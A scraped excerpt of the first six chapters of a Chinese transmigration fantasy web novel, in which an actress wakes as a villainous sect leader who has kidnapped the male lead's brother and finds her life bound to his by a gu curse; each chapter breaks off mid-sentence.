《掳走男主他哥后[穿书]》 1. 第 1 章 《掳走男主他哥后[穿书]》全本免费阅读 “砰!” 连乔被人从后面推了一把,随后大门被关上,又从外面被锁上。她涣散的双瞳慢慢聚焦,因为乏力而没有站稳,借势背靠在门上。 缓缓地吐出一口气,连乔开始打量眼前的场景。 红烛高台,幔帐翻飞,穿堂风随着窗户从外面被关上而消失,香炉刚被点燃,烟气从香薰炉中缓缓升起,直直地往上升,又慢慢地扩散开,很快空气中弥漫着令人愉悦的清甜味。 一声,两声……清脆的小铃铛声“叮铃”作响,在摇晃的烛影中显得格外暧昧。 连乔眯了眯眼,等看清后眼前的一切后,猛地倒吸一口凉气。 她被惊得全身酸软,整个人往后一仰,紧紧贴近在门上。 天呐! 光影轻摇曳,暧昧的气氛中,她看到床上坐着一个人。那人本来是躺着的,现在刚坐起来了,床很大,他修长的双腿微微屈起,便显得床逼仄起来。 应该是察觉到目光,那人清醒过来,微微侧头回看她。 连乔这才注意到,他手脚都绑上了银色的小铃铛,方才“叮铃”的清脆声响便是从他身上发出来的。 怎么说呢,向来万花丛中过片叶不沾身什么样的帅哥没见过的连乔,在看清了他那一张脸后,又是微微吸了口凉气。 天呐,这也太好看了! 那人看上去年岁不大,眉眼中还是少年模样。 少年明眸善睐,五官精致,眉峰笔挺,下颚线极其优越,这种长相,乍一看极为惊艳,但因为骨相的优越,又很是耐看,多看几眼也仍旧被他的精致所折服。 少年的长发如泼墨般黑亮,原本是束起的,现在已经半散开,凌乱地铺在身侧,正好遮挡住他因为衣角滑落而半露不露的肩上。 最是欲说还休最迷人…… 连乔使劲摇了摇头。 她再次使劲摇了摇头。 是不是又喝大了,所以出现了某种幻觉?又或是这是撞上了哪位纠缠不清闹生闹死的前任,现在正在发癫所以在玩什么刺激的play? 心脏“扑通扑通”地跳,快得惊人,“刺啦”一声电流响,“嗡”一下开始耳鸣,连乔半蹲下身体捂住了头,接收到传输过来的信息后,发现一个难以置信的事实。 她穿越了。 十分钟前,她的车正行驶在跨海大桥上,她思考着回去是先泡个澡,还是换身衣服去按个摩。 眨眼的功夫,不知道哪个该死的家伙在打盹,方向盘拐了一下,直接从对面车道撞飞隔离带,然后扣在她车头上。 那辆车疯了一样,以180km/h严重超速的速度,直接将她顶了出去。 红色超跑在四车道上滚了几圈后飞了出去,下面是深不见底的海渊。 水花砸开的那一刻,连乔想,该死,这下恐怕砸得谁也不认识她了。 她在水里翻滚了许久,意识迷糊中,有一个清亮的女声电子音在耳边响起。 “系统007号为您服务,正在为您传送穿书信息,信息加载1%,信息加载32%,信息加载50%……请宿主耐心等待……” “信息加载99%……请宿主耐心等待……” 连乔喝饱了水,肺里的空气已经用完了,咕噜咕噜往外冒泡,。这是什么不靠谱的系统,信息没加载完,恐怕她就要淹死在这海里面。 “信息加载100%,叮!” “正在为您传输原主记忆。信息传送1%,信息传送17%……” 这一定是个没有升级过的老旧系统,简直比电脑更新并重启还要慢,否则不可能在她已经穿过来五分钟后才将所有信息传送完毕。 连乔先是经历了车祸坠海,又完完全全地重现一遍原主记忆。记忆停留在原主在烈焰中被万箭穿心,直到意识消散的那一刻—— 火光将整片山林染透,面前全是血,鲜红的血,她身上也是鲜红深紫一片,全身被密密麻麻的箭矢贯穿,像一只全身前后上下都扎满刺的刺猬。疼痛,到这个程度时人是已经感受不到疼痛,只能感受到有什么从身体里慢慢消失,连抓都抓不住…… 接收完信息的连乔回过神来,意识也重新被拉回来。她终于说服自己穿书了,她穿的是《魅妖》,又名《仙君路:魅妖娘子不折腰》,一本古早倔强小白花文。 她穿的不是小白花,是和自己名字极像的食人花——恶毒且无脑的女N号,子午谷现任谷主,连翘。 原书说的是身世凄惨的魅妖姑娘云招摇和云岭迟家二公子迟来风相爱相杀相互虐恋又相互救赎的爱情故事,她是小说中出现次数不多的女配——连翘。 连翘姑娘出场即巅峰,把主角团得罪了个遍。她对桀骜不逊的迟来风钟情不已,在表白被拒,又被云招摇的好友一众羞辱后,她的心理出现了严重问题。在回子午谷的途中,连翘碰到了正外出归来的二公子他哥哥,于是脑袋一热,一怒之下掳走了和迟来风长得有几分肖似的迟星垂。 现在的连乔,刚好穿到连翘将云岭大公子掳回来之后。 她的那些手下,已经把迟星垂洗香香洗白白,扔在床上,关好门窗,就等着她去花前月下花花世界了。 连乔:…… 她这么多年,见过那么多次大场面,还是头一次这么沉默过。 原书中迟星垂生出心魔,便是从此时此刻开始的。很快,连翘会因为这一切的荒唐,付出极为惨痛的代价。 望着坐在床上惊为天人的大公子,连乔抿了抿唇,这都是什么破事?! 她重新回忆书中的场景。 原书中,本应是光风霁月的迟星垂因为少年时的意外遭遇生出了心魔,这份心魔越长越大,到最后完全不可控制,并且最终也因为心魔被魔族驱使,成为魔人的走狗。 在小说最后,他背叛修真界,将妖界与魔界的最后通道打开,将整个子午谷屠戮殆尽,随后一把火将一切烧了个干净。 刚才连乔共情连翘姑娘生前最后一刻火海场景,就是这位大公子所为。 虽然身体的疼痛已经完全消散,但是两次濒死感受留下的创伤,还是给连乔留下了难以消散的巨大阴影! 此时此刻,完全弄清楚前因后果的连乔终于站稳了脚,她擦了一把额头上的汗,告诉自己,虽然开局地狱模式,但是已经重活一世,无论如何,她都要好好活着。 首先要将眼前的这个杀己仇人解决了。 正在她努力回忆剧情的时候,一声极低的冷笑穿入耳中。 连乔抬起眼。 迟星垂也在看着她。少年的眉眼很清亮,但是这层清亮下,一抹阴鸷一闪而过。少年的面容又恢复镇定,平静而又温柔。 连乔顿了顿,她压住了“砰砰”乱跳的心脏,告诫自己不要被美色所迷惑。 原书里面,连翘因为魔怔了,将迟星垂打包带了回来,并且囚禁了数月。后来迟星垂费尽心机逃了出去,虽然人没有大碍,但是却因此传出许多流言蜚语,让他在此后多年,还在被世人耻笑。 修真界与妖界不同,思想保守,行为也不开放,迟星垂被幽禁的数月中,风言风语早已传遍了,即使他千辛万苦回去,人们提到他时想起来的,不是他受了多少折磨费了多少辛苦,而是他和妖界子午谷那位荒诞不堪的谷主到底发生了些什么。 不仅外人嘲笑他,就连他的父亲和后娘,以及那位同父异母的弟弟迟来风,也是一直拿有色眼镜看他的。 他们从来都不想,归根结底是因为迟来风到处沾花惹草,才阴差阳错给迟星垂惹了一个大麻烦。 想到这里,连乔头疼。 她对原主也有些敬佩,既然她那么爱原书男主,为 2. 第 2 章 《掳走男主他哥后[穿书]》全本免费阅读 少年向她伸出手,他一抬手,系在手腕上的铃铛清脆一响,气氛更是说不清道不明的一股涩.情。 连乔:“?” 什么情况? 她立刻调出系统,“你不是说他宁折不屈吗?你看他这样,像是被我强迫的吗?” 系统也像是被这一切震惊到了,向来稳重的电子音也有了一丝颤抖,“这……这,这好像有点不对劲。” 这何止是好像有点不对劲,这明明就是非常不对劲! 连乔:“你快查查什么情况。” 系统又恢复了原本的毫无人情的电子音,“抱歉,权限不够。” “那怎么样权限才够?” “您是宿主,您是在做任务,到底发生了什么触发了什么任务,需要您自己去解锁。” 连乔被无语到了,她关掉了系统界面,望着对着自己伸出手的少年,迷茫了一下。 还别说,向来声控手控颜控的连乔,在看到迟星垂那修长且骨节分明的手时,还是对连翘的审美观给予了肯定。 很高级,很在线。 就在她色令智昏的那一刻,迟星垂伸出的手猛地往前一伸,狠狠掐连乔的脖子。 他将连乔扣倒在床上,豹子一样扑向她,另一只手捂住了她的嘴。 如他所料,连翘还是和从前一样,吃软不吃硬,不喜欢霸王硬上弓,但只要对方服软,她便一定会中招。 迟星垂假装服从,几乎不用别的办法,她立刻就会放下警惕,连反抗都不会。 然而,连乔并不是不想反抗,她刚适应这套躯壳,还没有习惯打打杀杀。在迟星垂将自己完全控制住以后,她的第一反应不是调动灵气反击,而是尝试挣扎。 少年被喂了分灵散,修为被压制住,现在与凡人无异,饶是如此,他的灵活和身法也仍旧给了连乔不小的冲击,躺在床上的连乔被撞得闷哼一声。 她立刻学原主的手法,调动灵气,想反过来将迟星垂控制住。 然而,原主常年沉溺美色,从不精心修炼,现在甚至还没有筑基。原书中她靠着自己的暗卫炼制出的丹药来突破修为,勉强冲破筑基期,之后修为便一直停滞。她愚笨且懒惰,和向来勤勉且天赋优异的女主形成了鲜明的对比。 现在的她修行还没有入门,虽然迟星垂的修为被限制住,但是论拳脚功夫和力气,她仍旧是不能和他抗衡的。 此刻,连乔十分后悔,若是知道迟星垂对她厌恶憎恨到要杀了她的地步,她是坚决不会解开他的禁锢的。 这不是才刚刚见面么,只是有些误会,什么都没有发生,他对自己的恨意为什么这么大? 迟星垂的力气很大,连乔的手被折得生疼,不觉间眼圈红了。 迟星垂望着身下的人,心中又不免冷笑,居然装得如此楚楚可怜,若不是知道她上辈子投敌叛魔坏事做尽,他现在也要被她这份装出来的乖巧与天真给骗到了。 上辈子乖戾嚣张的她在看到迟来风时也喜欢演戏,但演技拙劣,这辈子倒是演得有模有样。 少女的脖颈十分纤细,迟星垂一手便能握住,为了防止她发出声响惊动外面的人,他另一只手捂在她的嘴上,不让她发出一丝一毫的声音。 迟星垂的目光落在连乔身上,她皮肤白皙双瞳清亮,还没有被魔气腐蚀,长发被束起,露出白皙的额头,额间光洁一片,尚没有生出红色的魔印。 原本迟星垂准备直接解决掉她,但是在这一刻,他还是迟疑了。 连翘目前还没有叛魔,也没有变得十恶不赦,她现在什么错都没犯,他应该直接这么杀了她么? 世间万法,皆背负因果,迟星垂并不怕背负因果,只是前一刻的惨状仍旧历历在目,忽然回到少年时,他不清楚是否要去挽回,这一次错过了,又会不会放虎归山。 就在他沉思的这几秒,连乔出奇地安静,迟星垂还以为把她捂晕过去了,忽然间腰间感到一阵酥痒。 连乔的双手也被锁住,手腕动弹不得,但是手指正好勾住他的腰带,她轻轻地在他腰上画圈。 迟星垂瞳孔骤缩,身下的连乔朝自己眨了一下右眼,他心中生出一股恶心,几乎是反射性地后退,猛地擦了几下手。 连乔就势一滚,爬到床的另一边,她的嘴唇因为被方才被按压住,现在微微泛红。连乔舔了一下嘴唇,望向迟星垂的眼神带了些暧昧,“大公子,原来你喜欢这种调调呀?” “你不要这么粗鲁,弄得我好疼。” 迟星垂震惊地望着她,他的手僵在半空,脸色充满了不可思议。连乔看得出来,他很想打她,但是表情是怎么回事? 是好像很想打她,但是又怕她爽的那种诧异? 连乔就在演这种妖界不知廉耻的妖女。呵,幸好她反应快,知道光风霁月的大公子有着严重的洁癖,最讨厌别人跟他亲近,所以舔了一下他的手心,否则她真的要给这缺货给捂死过去。 迟星垂恶心极了,他本以为重活一世,连翘还有得救,但是现在看来,她早就烂到骨子里了,龌龊至极,根本不可能有变好的机会! 连乔得了空隙,拔腿就跑。 “救……”连乔还没出声,迟星垂速度极快,飞身过来,从后面又捂上了她的嘴。 “……”连乔窝了一肚子火,忘了自己在修真界了,迟星垂的灵气被锁,身法还是在,速度仍旧是她比不上的快。 迟星垂将她推到在门上,一只手将她的两只手高高束起,另一只手捂住她的嘴。 连乔被吊得老高,完全使不上力,她气得心梗,原主这什么身体啊,不是妖修么,怎么一点修为都没有,没了保护自己的暗卫,连抗衡的能力都没有么? 连乔求助系统,“快出来,我现在怎么脱身?” 系统也很为难:“迟星垂这吊人的手法很专业,也没有闹出什么动静,他就是纯粹想快速杀了你。” 连乔:“我怎么反抗?” “原主好吃懒做也不精于修行,现在修为弱得几乎没有,对上手长脚长且体力完全高于你的迟星垂,你只有认栽的份。” 系统似乎在考虑,“宿主,你不会要挂吧?” 听这意思,连乔死了,它可能就会去接下一个任务了。 连乔真是被这老旧的笨蛋系统给气到了,“那我的护命法宝在哪?” 系统望着被吊起来浑身使不上力的连乔,“你修为低,现在甚至不能凭意念调动灵力,迟星垂手法很专业的,他很清楚你的弱点和保命底线,就是故意这样的,让你没办法动也没办法拿法宝自救。” 最后它又弱弱地补了一句,“宿主,你好像又快要死了。” 连乔关掉界面,不再理会系统。她极力保持镇定,不让自己太慌乱缺氧。她的手和脚都被束缚着不能动,但是手指还能活动。 于是她用力用食指关节关节敲了敲门。 门外的南道与三面狐听到动静,伸头看了一眼,外面的灯笼还亮着,连乔看到一人一狐的影子投在门上。南道问,“连翘,怎么了?” 迟星垂伸手将连乔的指节也给包裹住,连乔拼命挣扎,动作大了点,将门撞得“吱呀”一声。 迟星垂手脚上还帮着铃铛,也随着连乔的挣扎“叮铃”作响,门外的南道阴阳怪气“咦~”了一声,“连翘,他从啦?” “真有你的。”他竖了个大拇指,“还是你会玩!” 连翘今天进门的时候就告诉其他人 3. 第 3 章 《掳走男主他哥后[穿书]》全本免费阅读 这半边蝴蝶边线十分精致,纹路不深,呈浅淡的红色,边角泛金,落在她白皙的手上,十分妖冶。 连乔擦了几下也没擦除这半个蝴蝶印记,她回想了一下剧情,原书中连翘的戏份不多,她对男主下毒的戏份也是一带而过的,并没有详细描述这斑纹什么东西。连乔犹豫了一下,还是调出了系统,问,“这是什么?” 情况没方才那么危机,系统的电子音也稳定下来,这一次它没有说权限不够,而是直接报出了答案,“这是重心蛊。” “重心蛊?” “是的宿主。”电子音解释道,“重心蛊是一种十分阴毒的蛊虫,其作用功效是帮助两个人建立亲密无间的关系,二人一旦中蛊,则共享寿命,共通六感,共受心绪。这一对蛊虫是原主花大价钱从仙魔黑市买来的,原本打算用在心上人迟来风身上的。” 连乔在脑海中缓缓打了一个问号,“共享寿命,共通六感,共受心绪?” 作为新世纪的影后,影剧双栖的当红花旦,连乔不是没演过古偶剧,那种男女主中了相思草双生花之类毒药从而共享疼痛和情绪的桥段,她甚至拍了不止一次。 她很清楚这蛊虫的作用,能为男女主进一步的亲密接触制造无数次机会。 但是,她不想和那位固执狂暴躁哥有任何的联系。 现在原书剧情刚开始,连翘没有虐待迟星垂,迟星垂不会因为她生出心魔,即使以后他又受剧情影响叛魔了,他们俩之间无冤无仇,他也不至于屠子午谷灭族。 想到这里,连乔还是松了一口气。她收回思绪,重新问系统,“我现在怎么解蛊?” 当务之急是把这逆天的bug给消除,她可不想把命拴在一个陌生人身上。 系统似乎又开始卡顿,它沉默了一下,重复刚才说的话,“这一对蛊虫是原主花大价钱从仙魔黑市买来的。” “嗯。”连乔道,“所以怎么解?” 系统又开始卡顿,“这……这一对蛊虫是原主花大价钱从仙魔黑市买来的,价值连城……之所以价值连城,是因为效用威猛……这个效用怎么个威猛法呢,因为它有点……” 说完这句话,系统便住了嘴,随着脑海中“叮”一声,连乔所看到的界面也一并黯淡。 系统卡得死机了。 连乔头疼,她正想要不等这不靠谱的系统重启,忽然间顿住。 刚才系统说的是,重心蛊效用猛烈,价值连城…… 原主连翘是子午谷现任主人。子午谷地理位置优越,其灵脉、自然资源丰富,靠着这份得天独厚的条件以及前任谷主玉非缘的精心经营,子午谷是修真域数一数二有钱的门派。 对,子午谷不强,但确实有钱。 修真域中,有重心蛊同样功效的蛊虫有很多,比如小说中期,女主与男主人间历练,两个人闹别扭,女主一怒之下只身前往秘境,不小心跌落山崖身中情毒。这情毒也有同样的作用,能联通两个人的心绪,同生同死。 而原主连翘,放着那些好用且易得的药物不用,为什么冒那么大的危险去仙魔黑市,花了连自己都觉得贵的灵石去买重心蛊,说明了什么? 说明这重心蛊效用猛,副作用小,不可解。 连乔刚来,也才刚刚接受自己的身份,周围就冒出了这么多的坑。 她揉了揉太阳穴,躺在床上,闭上眼休息。 原主的身体也是真弱啊。 原书记载,原主不仅不精修行,还沉迷美色,日日潇洒夜夜笙歌,身体都亏空了,后来还靠着服食丹药来冲破筑基,路越走越歪。 现在她甚至没有筑基,也没有辟谷,闹腾了一晚上,又累又饿,浑身一点力气也没有。 连乔闭上眼,很快睡着了,第二天早上才睡醒过来。醒来的第一件事便是找系统,她要问点事,系统自从昨天死机了,到现在也没有重启成功。 连乔尝试了几次,最后决定不再指望它,自己收拾一番,起身离开房间。 出了连翘的水心居,连乔才将子午谷一览而尽。 子午谷不愧有钱,即使藏匿于深山茂林之中,也没被这份幽远打扰,不消那份豪气。 整个子午谷三面环山,一处临水,是处于山水之中一块平原之地。 青山连绵,分为春山、秋陵、冬峦三处山峰。春峰生出大片鲜花,山风穿林而过,飞花遍地,怒放烂漫;秋陵上硕果累累,红叶黄叶相交织,落叶缤纷,色彩张扬;冬峦如刀锋般锋利,终年藏雪,山雪翻飞,与春山上的飞花相互交映,蔚为壮观;而夏数水,便是那一汪深不见底的碧湖。 碧湖绵延数里,水之下是巨大的瀑布,飞练横空,在空中扬出巨大的弧度,最后又砸在湖海中,肆意而张扬。 原主连翘的水心居在湖水之上,用长桥连接地面,湖水波光粼粼,有鱼群在水中遨游,整个环境充满野趣。长桥扶手的锁链为玄金打造而成,链锁上雕刻着精致的莲花花纹,踏脚的底板是不知名的玉石材料,散发着温润的灵力,在随意和自然中又充满了难以描述的俗气和土豪。 山谷的清幽和华丽并不冲突,反衬得子午谷的豪气冲天别具一格。 连乔将子午谷逛了一遍,花了几天摸清了内部构造。这几日她尝试唤醒系统,但系统仍旧没有回应。 连乔对着一摊子烂事无从下手。 这是在修真界,她没有手机,不能联网去查重心蛊到底是什么东西。 最后实在想不出办法,她回忆了子午谷的路线,找到子午谷的书阁,去藏书阁取了几本书,准备研究传说中的重心蛊。 藏书阁建于山腰之上,半隐半藏于山林之间,远看并不大,等走进了才发现,书阁有九层,层层垒进,格外壮观。 此时已是夜晚,黄昏后天边的浓墨重彩散去,月光冲破云层均匀地落在山峰与湖水之上。 书上说,重心蛊源于上古它源于上古时期,现在几乎已经灭绝,所以到现在为止,关于重心蛊的介绍少之又少。 这几日连乔一有空就到书阁这边来,连着将两本有关蛊毒看完,也没有什么解毒线索。 但并不是一无所获,从介绍情毒和相思花的书上,连乔看到了这样一句话:情毒可逆,异于重心蛊虫。重心难解难消,由双蝶于情人之间牵线搭桥,同心同理,直至二人相依为命同生共死。 连乔气得猛地将书一合。 晦气。 接下来怎么做呢,系统卡死,她也不敢贸然问影卫什么,怕别人发现她不 4. 第 4 章 《掳走男主他哥后[穿书]》全本免费阅读 昨日发生的事闹得沸沸扬扬,默非自然也是听说了一些。 这很正常,连翘这几年一直在发疯,强买强卖的事也发生过几次,但是闹得这么大确实是第一次。 她手上的纹理泛着生动的金光,看一眼便知道重心蛊种得十分成功, 这一次,她不仅没有得逞,还把自己搭了进去。 啧。 实在是太愚蠢了。 连乔不喜欢这种语气,她扶着桌子站起来,盯着对面那人,“我记得,这个蛊虫经过你手吧?” 这么贵重的蛊虫,性情又毒烈,作为原主身边最厉害的暗卫,默非不可能没给她检查过。 “经过我的手,你没有下禁制么?”连乔扬起下巴,语气中已经有了兴师问罪的意味,“怎么这蛊毒不听我使唤,逮到谁就扑上去了?” 默非笑了。 明明是很平和的语气,但连乔总是感受到一股若有若无的刺挠。 “你当我是什么?”默非道,“那是上古蛊虫,沉睡了上万年,唤醒它已属不易,你还妄想它可以随意任你操控?” “怎么了,不行么?”连乔的语气也带了一丝挑衅,“你不是自诩制药配毒天下第一么?看来也不像传言中那么厉害。” 连乔以为这种挑衅默非会生气,但是,这位天才情绪居然出奇地稳定。他没有回答,只是望着连乔,语气中泼有幸灾乐祸的味道。 “蛊虫落地生根,已然入骨。连翘,看来接下来你的好日子,有得受了。” 连乔摇头,“不行。” 她不再执着于和默非斗嘴,收起话头,“我的命运不能被别人的生老病死所牵制,这个蛊毒,我必须要解掉。” 连乔看到默非用舌头抵了一下腮,像是在沉思——既然你现在这么通透,当初在仙魔黑市的时候,又为什么不顾一切要将那隐患带回来呢? 连乔清了清嗓子,“我之前鬼迷心窍,一时间没控制住自己。现在我和迟星垂通用六感,发现这个东西弊病极大,所以清醒过来了。” 连乔换了温和的语气 ,“你有没有办法解开它?” 默非回答得很干脆,“没有。” “至少目前没有。”默非道,“你当初带它们回来,不也是因为它们几乎无解么?” 共六感的药很多,无解之药却极少,那个药之所以价值连城,就是因为这个原因。 哦吼,完了。 “不过,也不是没得救。”默非道,“世间万物,相辅相成,只要条件得当,也未必就是死局。” “你有办法?” “目前没有。” 连乔:“……” “不过,我能够暂时压制蛊虫的毒性。”默非并不掩饰,“但是真正配置出它的解药的时间我不能确定。也许是十年,也许是一百年,也许要五百年,也许……永远找不到契机。” 连乔:……原主这是给自己挖了多少坑? 不过,至少现在有暂时解决的办法。 说到这里,她不得不感叹一声,原主虽然平时不着调,做事十分荒唐,但是她的底牌也确实够硬。 比如说她手下的人,默非,南道和三面狐,都是数一数二的高手,苟命的能力一等一地强。 默非伸手,连乔从他手里接过来两颗红褐色的药丸。 “这是不清丹,是解相思草最有效的解药,也同样能够用在其他情毒中,但是它对重心蛊只有压制作用,且只能保三个月。服用此药,能够不通六感,但由于牵绊存在,你们仍旧是共通性命的。” 这……好像也挺鸡肋。算了,暂时先用上吧,不通六感已经很好了,至少能保护二人之间的隐私,不至于被对方的七情六欲影响到自己。 连乔收起不清丹,“谢了。” 她收起看完的书本,将它们重新放回到原位置上,便起身离开去找迟星垂。 等她离开,默非微微转过头,瞥了一眼她放在架子上的书。 夜晚的风穿过山谷,夏水之上子午谷的夜景倒影,也随着风过水面而泛起的涟漪一荡一荡。 连乔身后跟着南道与三面狐。南道红衣红眸,长发高高竖起,一派张扬少年郎的模样。三面狐今天心情不错,一路上来回变幻模样,一会儿变成俊俏男子,一会儿变成美艳娇娘,跟在连乔后面“哒哒哒”地跑。 开了水牢的门,迟星垂双手缠紧,被高高吊在囚笼中间。因为他现在与连乔共中重心蛊,所以没有人真的敢对他做什么,但吊他是连翘下的命令,也没有人不敢遵守,迟星垂的双手被勒出重重的淤青,今天一整天连乔的手也不自觉地跟着疼痛虚抓握拳。 连乔示意,手下的人将迟星垂放下。迟星垂的灵力已经被锁住,身体虚乏得厉害,一失去支撑,他整个人便虚跪在地上。 迟星垂的发质好得不成样子,半散不散,凌乱地散在身后,有几缕垂在面前,越发显得他俊美动人。 美人,三百六十度没有死角,真的太美了。 连乔不禁想,男主的哥哥美成这个样子,那让连翘神魂颠倒意乱情迷的男主迟来风,该帅成什么样子? 以后有时间,她一定要好好会会这个迟来风。 迟星垂虚跪的那一瞬,连乔也双膝一软,身后的南道不动声色地提住她。 连乔心中感激,她站稳了走到迟星垂面前,示意南道将他扶起来。三面狐趴在她身后,连乔就势坐在狐背上,抬起眼看着迟星垂。 迟星垂不喜欢这个眼神。 她正在沉思。 上辈子,只要她陷入沉思,那么接下来必然会有一千种手段在等着他。 想到此,他心神一拧,血气上涌,捂住胸口猛地呕出一口血。 连乔还没开口,被一阵惊心的疼痛激得往后一仰,三面狐抬起狐尾接住她。 好像有十几把刀在心口乱砍,绞得五脏六腑都跟着颤动,连乔感觉到自己应该是七窍流血了,疼得连话都说不出来,意识也渐渐涣散过去。 迷糊中有一股凉气灌入她的掌心,那股凉气很汹涌,慢慢地沿着手臂往五脏六腑蔓延,一直到达心口处,将那股躁动不安的刀给按住了。 连乔慢慢恢复意识,听到南道在问,“她这什么情况?” 默非回道,“和云岭大公子共感了,受到波及。” “啊,她不要紧吧?” “暂时死不了。”默非好像笑了一声,“等着吧,过会儿就能醒。” 许久后,连乔从三面狐背上醒了过来,她脸色惨白,双手止不住地颤抖。 “方才迟星垂干了什么?” 她知道自己和迟星垂共感,所有的痛苦和折磨都来自那位白雪美人,但是她不知道迟星垂这是怎么了。 他不是好好的么,她也没有虐待他,怎么突然就开始吐血抽痛了? 他们共感是真,迟星垂看上去也不是脑子有问题的人,为了反噬她坑自己,所以肯定不是他自己动的手脚。 方才闭着眼在缓解疼痛时,连乔尝试去问系统,那不着调的系统彻底死机了,现在正处于下线模式。 连乔只能问默非,“迟星垂在哪里受伤了,怎么这么严重?” 迟星垂的脸雪白一片,唇色淡得和水一样。他睫毛极长,疼痛消失后状态很平静,似乎 5. 第 5 章 《掳走男主他哥后[穿书]》全本免费阅读 原书中,迟星垂的暗疾由来已久,从襁褓中就开始发作,一直伴随他到成年。 暗疾摧心折肺,对灵气极其敏感,稍有冲撞则痛不欲生。这也是迟星垂年少时惊才绝艳,但随其年岁增长,却越来越不及那锋芒毕露的弟弟的原因。 修真界修行,依次为炼气、筑基、金丹、元婴、化神、炼虚、合体、大乘、渡劫,而后羽化登仙,飞升入仙门。修真者每突破一个阶段,修为飞跃几个台阶,对灵气的掌控也越发强劲。 迟星垂被暗疾所拖累,滂沱的灵力以及大起大落的情绪会牵制住他对灵力的控制,越到后来,他的弱点越大,稍有不慎则真气逆转,伤体费神。 默非说,迟星垂的暗疾有点意思,是什么意思? 此时的连乔昏昏欲睡,吹了会儿冷风后,疲乏散去,整个人也慢慢清明起来。 她坐正了,“怎么个有意思法?” “暗疾,多为内伤,是身体本初的缺陷,抑或是长年累月不正确的行为与习惯所带来的后果。” 默非安静站着,连乔感觉他轻飘飘地看了自己一眼。 嗯,原主因为纵情玩乐,年纪轻轻身体亏空,如不尽快改变这个习惯,那么很快,肾.虚也就成为她的暗疾了。 连乔:好了,你不用暗示了。 前世的连乔在影视圈混饭吃,为了尽快入戏,她会迅速将自己代入角色,所以也有假戏真做的情况。但是她抽身得极快,工作中的情绪和状态从来不会代入到现实生活中。 这种尽快入戏的习惯让她能够完全沉溺在工作中,但这也带来许多问题,有关连乔的风言风语很多,很多人会戴着有色眼镜看她。 就跟现在默非这沉默的表情一模一样。 连乔想,要不是她有一颗强大的心脏和能够自动屏蔽歧视和恶意的高级技能,又或者是换一个脸皮薄的人穿到连翘身上,都可能会被周围人的唾沫星子压死吧? “嗯,我看迟星垂做事比较周道,不像是放纵自己走岔路的人。”连乔清了清嗓子,转开话题,“所以他的暗疾是本体之伤?” 默非没说话,他默认了连乔说的话是对的。 连乔问,“那就是他本来的损伤,为什么会说有点意思?” “我探过迟星垂的脉象,他五行属水,但这水术之外,又隐隐多了另一道推行之力。” 连乔坐直起来,“他的暗疾不是拖累他的么,怎么会是推行之力呢?” “所以我说,有点意思。” “不过,这道力十分隐蔽,一闪而过,究竟是不是与他本体之灵相悖我并不确定。” 连乔沉默下来。默非双修药道与器道,本身还集其他百道之长,是真正行走的百科全书。 他不过是不想把事情说得过于决定,连乔可不会因为他的谦虚,就觉得是他看错了。 从默非口中出来的东西,可信之度,百分之九十九。 不过,这是一股推行之力,按理说应该会对迟星垂的修为有助长作用,为什么原书的后来,迟星垂会因为暗疾的牵制,修行不得突破而走火入魔呢? 默非又笑了一下,看着连乔起了一身的鸡皮疙瘩。 好好的一个帅哥,为什么老是搞得这么阴森。 “最有意思的事,这道力虽是推行,实际上却与他所修的平水之术,是相逆的。” 连乔:“嗯?” 一边推他往前走,又拉着他往后退?默非这是在说什么形而上学相对静止的哲学问题? 连乔的脸色微微沉下来,“我不理解。” 默非也没指望她听懂。 男人拢了一下宽大的衣袍,双眼被遮住,连乔只能看得见他半张脸。 “迟星垂的暗疾很奇怪,他自己一直在找解决的方法,但是我想,他应该找不到。”默非道,“毕竟,我也是第一次见。” 嗯,默非这个人,虽然神秘吸引人,但是有一个致命的缺陷,就是很装逼。 但是他确实有装逼的资本。 可以这样说,在修真界,默非不清楚的东西,那么起码世上知道这个东西的人,不会超过五个。 连乔沉顿了一会儿,“他这个暗疾对他生命安全有影响?” 默非不仅神秘,还不喜欢插手管闲事,如果不是因为这个暗疾会影响连乔,他不会大半夜特意过来提醒她。 默非回道:“当然。” 连乔垂了一下眼,“那现在有没有根治他暗疾的办法。” “根治的方法……我需要研究研究。”默非又道,“不过,倒是有办法先控制住暗疾,让它近百十年内不再发作。” “过些时日,胧月秘境将要开放,秘境内有一株碧心兰。”默非用余光瞥了一眼连乔,“碧心兰花叶有平万病之效,花体能够对冲灵力,化一切汹涌为平和,是治疗此暗疾的特效药。” 碧心兰? 连乔有些印象。 原书中,女主云招摇在胧月秘境中找到了碧心兰,并且在后期暴露自己是魅妖时,依靠碧心兰减缓自己妖气,不让自己被妖气腐蚀异化。 碧心兰是治疗迟星垂的特效药么?也就是自己的救命药,连乔当然要去取。 “胧月秘境什么时候开放?” 默非似乎对连乔这么干脆出去寻药的决定感到吃惊,他锋利的下颌线微微收紧,回道,“十五日后。” “那便去吧。”连乔又感到一阵困意,她拍了拍三面狐,示意狐狸化成本体,将自己驮回去。 三面狐是大妖,是原主母亲留给她的灵宠,不仅模样极其美丽,其战斗力也十分惊人,在修真界的灵兽中,战斗力能入前十。 但是现在的连乔感受不出它的战斗力,只感受到了它的骚包。 三面狐的长处在于施幻,它能够依照人的心境造出不同的场景,场景细致入微难以与真景区分,能将对手溺毙在幻境中。 平时不造景施幻时,它就会凭借心情来随意变幻自己的模样,它能变男能变女亦可化万物,故有三面,称作三面狐。 三面狐极其爱美,喜欢一切美好的事物。 连翘长得漂亮,它就喜欢连翘,今日的连翘没有拎不清,就显得更美了。 它靠在她身边,照着她的脸化了一个人形,和连翘有几分相似,眉眼中也是三分妩媚五分柔情,妖娆得不成 6. 第 6 章 《掳走男主他哥后[穿书]》全本免费阅读 南道望着连乔苍白的脸,本想说什么,到最后还是没说。他拍了拍她的肩膀,叹了一口气,“我先走了,明早来接你。” 连乔望着南道和三面狐的背影,若有所思。 什么意思? 老谷主的人? 连翘的爹不是对她很好么? 老谷主玉非缘是剑修,而连翘的母亲是妖修。修真界极其不待见妖修,但即便如此,玉非缘也没有随世俗大流。他很爱他的妻子,也十分宠爱她这个女儿,连翘向来是要风得风要雨得雨,南道方才那个表情是什么意思? 想到这里,连乔蹙了蹙眉,玉非缘姓玉,连翘是姓连么,她不随父姓?连翘母亲好像也不姓连来着。 * 次日醒来,夜雨刚过,春峰上的飞花落了一地,卷到夏湖上,随着水流飘向远处。 连翘没有嗑.药提神,也没有纵情玩乐,睡醒之后神清气爽。 果然,对付疲劳最好的方式还是休息,再提神的浓茶和咖啡也不及一夜好梦。 连乔开窗,望着湖面的落花,不多时,南道带着三面狐过来。 连乔简单收拾一番,带上了几件法宝。她还是练气期,修为不够,除了灵石要管够外,保命护体的法宝也是不可少的。 